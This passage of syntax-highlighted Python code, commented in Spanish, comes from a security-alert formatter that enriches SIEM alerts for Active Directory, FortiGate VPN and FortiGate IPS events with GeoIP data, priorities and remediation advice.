            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> db_path <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> pathlib.Path(db_path).exists():
                <span class="hljs-keyword">continue</span>

            <span class="hljs-keyword">try</span>:
                <span class="hljs-keyword">with</span> geoip2.database.Reader(db_path) <span class="hljs-keyword">as</span> reader:
                    response = reader.city(ip)
                    <span class="hljs-keyword">return</span> {
                        <span class="hljs-string">"country"</span>: response.country.name <span class="hljs-keyword">or</span> <span class="hljs-string">""</span>,
                        <span class="hljs-string">"iso"</span>: response.country.iso_code <span class="hljs-keyword">or</span> <span class="hljs-string">""</span>,
                        <span class="hljs-string">"city"</span>: response.city.name <span class="hljs-keyword">or</span> <span class="hljs-string">""</span>,
                        <span class="hljs-string">"latitude"</span>: response.location.latitude,
                        <span class="hljs-string">"longitude"</span>: response.location.longitude
                    }
            <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                self.logger.debug(<span class="hljs-string">f"Error con base GeoIP <span class="hljs-subst">{db_path}</span>: <span class="hljs-subst">{e}</span>"</span>)
                <span class="hljs-keyword">continue</span>

        <span class="hljs-keyword">return</span> {}

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_detect_alert_type</span>(<span class="hljs-params">self, alert: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Detectar tipo de alerta basándose en rule_id y contenido"""</span>
        rule_id = self._get_field(alert, <span class="hljs-string">"rule.id"</span>)

        <span class="hljs-comment"># Reglas de Active Directory</span>
        ad_rules = {<span class="hljs-string">"100080"</span>, <span class="hljs-string">"100081"</span>, <span class="hljs-string">"100082"</span>, <span class="hljs-string">"100083"</span>, <span class="hljs-string">"100084"</span>, <span class="hljs-string">"100085"</span>,
                   <span class="hljs-string">"60107"</span>, <span class="hljs-string">"60108"</span>, <span class="hljs-string">"60109"</span>, <span class="hljs-string">"60113"</span>}

        <span class="hljs-comment"># Reglas de FortiGate VPN/Admin</span>
        fgt_vpn_rules = {<span class="hljs-string">"196100"</span>, <span class="hljs-string">"196101"</span>, <span class="hljs-string">"196102"</span>, <span class="hljs-string">"196103"</span>, <span class="hljs-string">"196104"</span>, <span class="hljs-string">"196105"</span>, 
                         <span class="hljs-string">"196106"</span>, <span class="hljs-string">"196112"</span>, <span class="hljs-string">"196113"</span>}

        <span class="hljs-comment"># Reglas de FortiGate IPS (196200-196231)</span>
        fgt_ips_rules = set(str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">196200</span>, <span class="hljs-number">196232</span>))

        <span class="hljs-keyword">if</span> rule_id <span class="hljs-keyword">in</span> ad_rules:
            <span class="hljs-keyword">return</span> <span class="hljs-string">"active_directory"</span>
        <span class="hljs-keyword">elif</span> rule_id <span class="hljs-keyword">in</span> fgt_vpn_rules:
            <span class="hljs-keyword">return</span> <span class="hljs-string">"fortigate_vpn"</span>
        <span class="hljs-keyword">elif</span> rule_id <span class="hljs-keyword">in</span> fgt_ips_rules:
            <span class="hljs-keyword">return</span> <span class="hljs-string">"fortigate_ips"</span>
        <span class="hljs-keyword">else</span>:
            <span class="hljs-comment"># Detectar por contenido si no es por rule_id</span>
            rule_desc = self._get_field(alert, <span class="hljs-string">"rule.description"</span>, default=<span class="hljs-string">""</span>).lower()
            <span class="hljs-keyword">if</span> any(term <span class="hljs-keyword">in</span> rule_desc <span class="hljs-keyword">for</span> term <span class="hljs-keyword">in</span> [<span class="hljs-string">"active directory"</span>, <span class="hljs-string">"windows"</span>, <span class="hljs-string">"user account"</span>, <span class="hljs-string">"group"</span>]):
                <span class="hljs-keyword">return</span> <span class="hljs-string">"active_directory"</span>
            <span class="hljs-keyword">elif</span> any(term <span class="hljs-keyword">in</span> rule_desc <span class="hljs-keyword">for</span> term <span class="hljs-keyword">in</span> [<span class="hljs-string">"vpn"</span>, <span class="hljs-string">"admin"</span>, <span class="hljs-string">"brute"</span>]):
                <span class="hljs-keyword">return</span> <span class="hljs-string">"fortigate_vpn"</span>
            <span class="hljs-keyword">elif</span> any(term <span class="hljs-keyword">in</span> rule_desc <span class="hljs-keyword">for</span> term <span class="hljs-keyword">in</span> [<span class="hljs-string">"ips"</span>, <span class="hljs-string">"attack"</span>, <span class="hljs-string">"exploit"</span>, <span class="hljs-string">"malware"</span>]):
                <span class="hljs-keyword">return</span> <span class="hljs-string">"fortigate_ips"</span>
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">return</span> <span class="hljs-string">"generic"</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_extract_common_data</span>(<span class="hljs-params">self, alert: Dict[str, Any]</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Extraer datos comunes a todos los tipos de alerta"""</span>
        data = {
            <span class="hljs-string">"rule_id"</span>: self._get_field(alert, <span class="hljs-string">"rule.id"</span>),
            <span class="hljs-string">"rule_level"</span>: self._get_field(alert, <span class="hljs-string">"rule.level"</span>),
            <span class="hljs-string">"rule_desc"</span>: self._get_field(alert, <span class="hljs-string">"rule.description"</span>),
            <span class="hljs-string">"rule_groups"</span>: self._get_field(alert, <span class="hljs-string">"rule.groups"</span>),
            <span class="hljs-string">"fired_times"</span>: self._get_field(alert, <span class="hljs-string">"rule.firedtimes"</span>, default=<span class="hljs-string">"1"</span>),
            <span class="hljs-string">"agent_name"</span>: self._get_field(alert, <span class="hljs-string">"agent.name"</span>),
            <span class="hljs-string">"agent_id"</span>: self._get_field(alert, <span class="hljs-string">"agent.id"</span>),
            <span class="hljs-string">"manager_name"</span>: self._get_field(alert, <span class="hljs-string">"manager.name"</span>),
            <span class="hljs-string">"timestamp"</span>: self._format_timestamp(self._get_field(alert, <span class="hljs-string">"timestamp"</span>, <span class="hljs-string">"data.eventtime"</span>)),
            <span class="hljs-string">"location"</span>: self._get_field(alert, <span class="hljs-string">"location"</span>),
            <span class="hljs-string">"decoder"</span>: self._get_field(alert, <span class="hljs-string">"decoder.name"</span>)
        }

        <span class="hljs-keyword">return</span> data

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_extract_ad_data</span>(<span class="hljs-params">self, alert: Dict[str, Any]</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Extraer datos específicos de Active Directory"""</span>
        data = self._extract_common_data(alert)

        data[<span class="hljs-string">"subject_user"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.subjectUserName"</span>)
        data[<span class="hljs-string">"subject_domain"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.subjectDomainName"</span>)
        data[<span class="hljs-string">"target_user"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.targetUserName"</span>)
        data[<span class="hljs-string">"sam_account"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.samAccountName"</span>)
        data[<span class="hljs-string">"user_principal"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.userPrincipalName"</span>)
        data[<span class="hljs-string">"display_name"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.displayName"</span>)
        data[<span class="hljs-string">"group_name"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.targetUserName"</span>)
        data[<span class="hljs-string">"member_name"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.eventdata.memberName"</span>)
        data[<span class="hljs-string">"computer"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.system.computer"</span>)
        data[<span class="hljs-string">"event_id"</span>] = self._get_field(alert, <span class="hljs-string">"data.win.system.eventID"</span>)

        group_name = data.get(<span class="hljs-string">"group_name"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"is_privileged"</span>] = group_name <span class="hljs-keyword">in</span> self.privileged_groups
        data[<span class="hljs-string">"is_anonymous"</span>] = data.get(<span class="hljs-string">"subject_user"</span>, <span class="hljs-string">""</span>) == <span class="hljs-string">"ANONYMOUS LOGON"</span>

        event_id = data[<span class="hljs-string">"event_id"</span>]
        <span class="hljs-keyword">if</span> event_id == <span class="hljs-string">"4720"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"Usuario Creado en Active Directory"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#059669"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span>
            data[<span class="hljs-string">"pivot"</span>] = data[<span class="hljs-string">"target_user"</span>]
        <span class="hljs-keyword">elif</span> event_id == <span class="hljs-string">"4726"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"Usuario Eliminado de Active Directory"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#dc2626"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"ALTO"</span>
            data[<span class="hljs-string">"pivot"</span>] = data[<span class="hljs-string">"target_user"</span>]
        <span class="hljs-keyword">elif</span> event_id <span class="hljs-keyword">in</span> (<span class="hljs-string">"4732"</span>, <span class="hljs-string">"4728"</span>):
            action = <span class="hljs-string">"Alta en Grupo"</span>
            group_type = <span class="hljs-string">"LOCAL"</span> <span class="hljs-keyword">if</span> event_id == <span class="hljs-string">"4732"</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"GLOBAL"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{action}</span> <span class="hljs-subst">{group_type}</span>"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#0284c7"</span> <span class="hljs-keyword">if</span> event_id == <span class="hljs-string">"4732"</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"#ea580c"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"CRÍTICO"</span> <span class="hljs-keyword">if</span> data[<span class="hljs-string">"is_privileged"</span>] <span class="hljs-keyword">else</span> <span class="hljs-string">"MEDIO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data[<span class="hljs-string">'member_name'</span>]}</span> → <span class="hljs-subst">{data[<span class="hljs-string">'group_name'</span>]}</span>"</span>
        <span class="hljs-keyword">elif</span> event_id <span class="hljs-keyword">in</span> (<span class="hljs-string">"4733"</span>, <span class="hljs-string">"4729"</span>):
            action = <span class="hljs-string">"Baja de Grupo"</span>
            group_type = <span class="hljs-string">"LOCAL"</span> <span class="hljs-keyword">if</span> event_id == <span class="hljs-string">"4733"</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"GLOBAL"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{action}</span> <span class="hljs-subst">{group_type}</span>"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#6b7280"</span> <span class="hljs-keyword">if</span> event_id == <span class="hljs-string">"4733"</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"#9ca3af"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span> <span class="hljs-keyword">if</span> data[<span class="hljs-string">"is_privileged"</span>] <span class="hljs-keyword">else</span> <span class="hljs-string">"BAJO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data[<span class="hljs-string">'member_name'</span>]}</span> ← <span class="hljs-subst">{data[<span class="hljs-string">'group_name'</span>]}</span>"</span>
        <span class="hljs-keyword">else</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"Evento Active Directory <span class="hljs-subst">{event_id}</span>"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#6366f1"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span>
            data[<span class="hljs-string">"pivot"</span>] = data.get(<span class="hljs-string">"target_user"</span>, <span class="hljs-string">"N/A"</span>)

        <span class="hljs-keyword">return</span> data

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_extract_fortigate_vpn_data</span>(<span class="hljs-params">self, alert: Dict[str, Any]</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Extraer datos específicos de FortiGate VPN/Admin"""</span>
        data = self._extract_common_data(alert)

        data[<span class="hljs-string">"dst_user"</span>] = self._get_field(alert, <span class="hljs-string">"data.dstuser"</span>, <span class="hljs-string">"data.user"</span>, <span class="hljs-string">"data.srcuser"</span>)
        data[<span class="hljs-string">"status"</span>] = self._get_field(alert, <span class="hljs-string">"data.status"</span>)
        data[<span class="hljs-string">"reason"</span>] = self._get_field(alert, <span class="hljs-string">"data.reason"</span>)
        data[<span class="hljs-string">"log_desc"</span>] = self._get_field(alert, <span class="hljs-string">"data.logdesc"</span>)
        data[<span class="hljs-string">"ui"</span>] = self._get_field(alert, <span class="hljs-string">"data.ui"</span>)
        data[<span class="hljs-string">"method"</span>] = self._get_field(alert, <span class="hljs-string">"data.method"</span>)
        data[<span class="hljs-string">"action"</span>] = self._get_field(alert, <span class="hljs-string">"data.action"</span>)
        data[<span class="hljs-string">"dev_name"</span>] = self._get_field(alert, <span class="hljs-string">"data.devname"</span>)
        data[<span class="hljs-string">"dev_id"</span>] = self._get_field(alert, <span class="hljs-string">"data.devid"</span>)

        src_ip = self._get_field(alert, <span class="hljs-string">"data.srcip"</span>, <span class="hljs-string">"data.remip"</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> src_ip <span class="hljs-keyword">or</span> src_ip == <span class="hljs-string">"-"</span>:
            ui_text = data.get(<span class="hljs-string">"ui"</span>, <span class="hljs-string">""</span>)
            ip_match = re.search(<span class="hljs-string">r'(\d{1,3}(?:\.\d{1,3}){3})'</span>, ui_text)
            src_ip = ip_match.group(<span class="hljs-number">1</span>) <span class="hljs-keyword">if</span> ip_match <span class="hljs-keyword">else</span> <span class="hljs-string">"-"</span>
        data[<span class="hljs-string">"src_ip"</span>] = src_ip

        geo_info = self._get_geoip_info(src_ip)
        data[<span class="hljs-string">"country"</span>] = geo_info.get(<span class="hljs-string">"country"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"iso"</span>] = geo_info.get(<span class="hljs-string">"iso"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"city"</span>] = geo_info.get(<span class="hljs-string">"city"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"is_high_risk"</span>] = data[<span class="hljs-string">"country"</span>] <span class="hljs-keyword">in</span> self.high_risk_countries

        method = data.get(<span class="hljs-string">"method"</span>, <span class="hljs-string">""</span>).lower()
        ui = data.get(<span class="hljs-string">"ui"</span>, <span class="hljs-string">""</span>).lower()
        action = data.get(<span class="hljs-string">"action"</span>, <span class="hljs-string">""</span>).lower()

        <span class="hljs-keyword">if</span> <span class="hljs-string">"ssh"</span> <span class="hljs-keyword">in</span> method <span class="hljs-keyword">or</span> <span class="hljs-string">"ssh("</span> <span class="hljs-keyword">in</span> ui:
            data[<span class="hljs-string">"vector"</span>] = <span class="hljs-string">"SSH"</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"https"</span> <span class="hljs-keyword">in</span> method <span class="hljs-keyword">or</span> <span class="hljs-string">"http("</span> <span class="hljs-keyword">in</span> ui <span class="hljs-keyword">or</span> <span class="hljs-string">"https("</span> <span class="hljs-keyword">in</span> ui:
            data[<span class="hljs-string">"vector"</span>] = <span class="hljs-string">"Web (HTTPS)"</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"tunnel"</span> <span class="hljs-keyword">in</span> action <span class="hljs-keyword">or</span> <span class="hljs-string">"vpn"</span> <span class="hljs-keyword">in</span> action:
            data[<span class="hljs-string">"vector"</span>] = <span class="hljs-string">"VPN"</span>
        <span class="hljs-keyword">else</span>:
            data[<span class="hljs-string">"vector"</span>] = <span class="hljs-string">"Desconocido"</span>

        rule_id = data[<span class="hljs-string">"rule_id"</span>]
        <span class="hljs-keyword">if</span> rule_id == <span class="hljs-string">"196100"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"FortiGate ADMIN Brute-Force Attack"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#dc2626"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"CRÍTICO"</span>
            data[<span class="hljs-string">"pivot"</span>] = data[<span class="hljs-string">"src_ip"</span>]
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Bloquear IP inmediatamente. Revisar logs de intentos previos."</span>
        <span class="hljs-keyword">elif</span> rule_id == <span class="hljs-string">"196101"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"FortiGate VPN SSL Brute-Force Attack"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#b91c1c"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"CRÍTICO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data[<span class="hljs-string">'dst_user'</span>]}</span> from <span class="hljs-subst">{data[<span class="hljs-string">'src_ip'</span>]}</span>"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Bloquear IP y verificar estado de la cuenta VPN."</span>
        <span class="hljs-keyword">elif</span> rule_id == <span class="hljs-string">"196102"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"VPN - Conexión Fuera de Horario Laboral"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#ea580c"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO-ALTO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data[<span class="hljs-string">'dst_user'</span>]}</span> @ <span class="hljs-subst">{data[<span class="hljs-string">'timestamp'</span>]}</span>"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Verificar si el acceso es autorizado con el usuario."</span>
        <span class="hljs-keyword">elif</span> rule_id == <span class="hljs-string">"196103"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"VPN - Conexión Fin de Semana"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#f59e0b"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data[<span class="hljs-string">'dst_user'</span>]}</span> @ <span class="hljs-subst">{data[<span class="hljs-string">'timestamp'</span>]}</span>"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Verificar si el acceso de fin de semana es necesario."</span>
        <span class="hljs-keyword">elif</span> rule_id == <span class="hljs-string">"196104"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"POSIBLE COMPROMISO DE CUENTA VPN"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#7f1d1d"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"EMERGENCIA"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"Usuario <span class="hljs-subst">{data[<span class="hljs-string">'dst_user'</span>]}</span> - Múltiples países"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"DESHABILITAR CUENTA INMEDIATAMENTE. Contactar usuario."</span>
        <span class="hljs-keyword">elif</span> rule_id == <span class="hljs-string">"196106"</span>:
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"Conexión desde TOR/Proxy Anónimo"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#b91c1c"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"CRÍTICO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"IP TOR: <span class="hljs-subst">{data[<span class="hljs-string">'src_ip'</span>]}</span>"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Bloquear todas las conexiones desde nodos TOR."</span>
        <span class="hljs-keyword">else</span>:
            level = int(data.get(<span class="hljs-string">"rule_level"</span>, <span class="hljs-string">"0"</span>))
            <span class="hljs-keyword">if</span> level &gt;= <span class="hljs-number">12</span>:
                data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"FortiGate Critical Security Alert"</span>
                data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#dc2626"</span>
                data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"CRÍTICO"</span>
            <span class="hljs-keyword">elif</span> level &gt;= <span class="hljs-number">10</span>:
                data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"FortiGate High Security Alert"</span>
                data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#ea580c"</span>
                data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"ALTO"</span>
            <span class="hljs-keyword">else</span>:
                data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"FortiGate Security Event"</span>
                data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#f59e0b"</span>
                data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span>

            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"<span class="hljs-subst">{data.get(<span class="hljs-string">'dst_user'</span>, <span class="hljs-string">'N/A'</span>)}</span> @ <span class="hljs-subst">{data[<span class="hljs-string">'src_ip'</span>]}</span>"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Revisar evento para determinar acciones necesarias."</span>

        <span class="hljs-keyword">return</span> data

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_extract_fortigate_ips_data</span>(<span class="hljs-params">self, alert: Dict[str, Any]</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-string">"""Extraer datos específicos de IPS de FortiGate"""</span>
        data = self._extract_common_data(alert)

        <span class="hljs-comment"># Campos específicos de IPS</span>
        data[<span class="hljs-string">"src_ip"</span>] = self._get_field(alert, <span class="hljs-string">"data.srcip"</span>)
        data[<span class="hljs-string">"dst_ip"</span>] = self._get_field(alert, <span class="hljs-string">"data.dstip"</span>)
        data[<span class="hljs-string">"dst_port"</span>] = self._get_field(alert, <span class="hljs-string">"data.dstport"</span>)
        data[<span class="hljs-string">"attack"</span>] = self._get_field(alert, <span class="hljs-string">"data.attack"</span>, <span class="hljs-string">"data.attack_name"</span>, <span class="hljs-string">"data.signature"</span>)
        data[<span class="hljs-string">"severity"</span>] = self._get_field(alert, <span class="hljs-string">"data.severity"</span>)
        data[<span class="hljs-string">"action"</span>] = self._get_field(alert, <span class="hljs-string">"data.action"</span>)
        data[<span class="hljs-string">"protocol"</span>] = self._get_field(alert, <span class="hljs-string">"data.proto"</span>, <span class="hljs-string">"data.protocol"</span>)
        data[<span class="hljs-string">"dev_name"</span>] = self._get_field(alert, <span class="hljs-string">"data.devname"</span>)
        data[<span class="hljs-string">"dev_id"</span>] = self._get_field(alert, <span class="hljs-string">"data.devid"</span>)

        <span class="hljs-comment"># GeoIP para IP origen</span>
        geo_info = self._get_geoip_info(data[<span class="hljs-string">"src_ip"</span>])
        data[<span class="hljs-string">"country"</span>] = geo_info.get(<span class="hljs-string">"country"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"iso"</span>] = geo_info.get(<span class="hljs-string">"iso"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"city"</span>] = geo_info.get(<span class="hljs-string">"city"</span>, <span class="hljs-string">""</span>)
        data[<span class="hljs-string">"is_high_risk"</span>] = data[<span class="hljs-string">"country"</span>] <span class="hljs-keyword">in</span> self.high_risk_countries

        <span class="hljs-comment"># Determinar criticidad y tipo</span>
        severity = data.get(<span class="hljs-string">"severity"</span>, <span class="hljs-string">""</span>).lower()
        attack_name = data.get(<span class="hljs-string">"attack"</span>, <span class="hljs-string">""</span>).lower()
        action = data.get(<span class="hljs-string">"action"</span>, <span class="hljs-string">""</span>).lower()

        <span class="hljs-comment"># Configurar por severidad</span>
        <span class="hljs-keyword">if</span> severity == <span class="hljs-string">"critical"</span>:
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"CRÍTICO"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#dc2626"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"IPS CRÍTICO: <span class="hljs-subst">{data[<span class="hljs-string">'attack'</span>]}</span>"</span>
        <span class="hljs-keyword">elif</span> severity == <span class="hljs-string">"high"</span>:
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"ALTO"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#ea580c"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"IPS ALTO: <span class="hljs-subst">{data[<span class="hljs-string">'attack'</span>]}</span>"</span>
        <span class="hljs-keyword">elif</span> severity == <span class="hljs-string">"medium"</span>:
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#f59e0b"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"IPS MEDIO: <span class="hljs-subst">{data[<span class="hljs-string">'attack'</span>]}</span>"</span>
        <span class="hljs-keyword">else</span>:
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"BAJO"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#3b82f6"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">f"IPS: <span class="hljs-subst">{data[<span class="hljs-string">'attack'</span>]}</span>"</span>

        <span class="hljs-comment"># Ajustar por acción</span>
        <span class="hljs-keyword">if</span> action == <span class="hljs-string">"detected"</span> <span class="hljs-keyword">and</span> severity <span class="hljs-keyword">in</span> [<span class="hljs-string">"critical"</span>, <span class="hljs-string">"high"</span>]:
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"EMERGENCIA"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#7f1d1d"</span>
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"ATAQUE CRÍTICO NO BLOQUEADO"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"BLOQUEAR IP INMEDIATAMENTE - Ataque no fue bloqueado por IPS"</span>

        <span class="hljs-comment"># Detectar tipo de ataque específico</span>
        <span class="hljs-keyword">if</span> <span class="hljs-string">"sql"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"injection"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"SQL Injection"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Revisar WAF y logs de aplicación web. Verificar consultas SQL."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"xss"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"cross-site"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Cross-Site Scripting"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Validar entrada de usuarios. Revisar sanitización de datos."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"command"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">and</span> <span class="hljs-string">"injection"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Command Injection"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Revisar ejecución de comandos en aplicación. Deshabilitar funciones peligrosas."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"dos"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"ddos"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"flood"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Denial of Service"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Activar mitigación DDoS. Considerar rate limiting."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"malware"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"trojan"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"virus"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Malware"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"Escanear sistemas afectados. Aislar hosts comprometidos."</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"ransomware"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Ransomware"</span>
            data[<span class="hljs-string">"recommendation"</span>] = <span class="hljs-string">"AISLAR RED INMEDIATAMENTE. Verificar backups. Contactar equipo de respuesta."</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"EMERGENCIA"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#7f1d1d"</span>
        <span class="hljs-keyword">elif</span> <span class="hljs-string">"exploit"</span> <span class="hljs-keyword">in</span> attack_name <span class="hljs-keyword">or</span> <span class="hljs-string">"cve-"</span> <span class="hljs-keyword">in</span> attack_name:
            data[<span class="hljs-string">"attack_type"</span>] = <span class="hljs-string">"Exploit Attempt"</span>
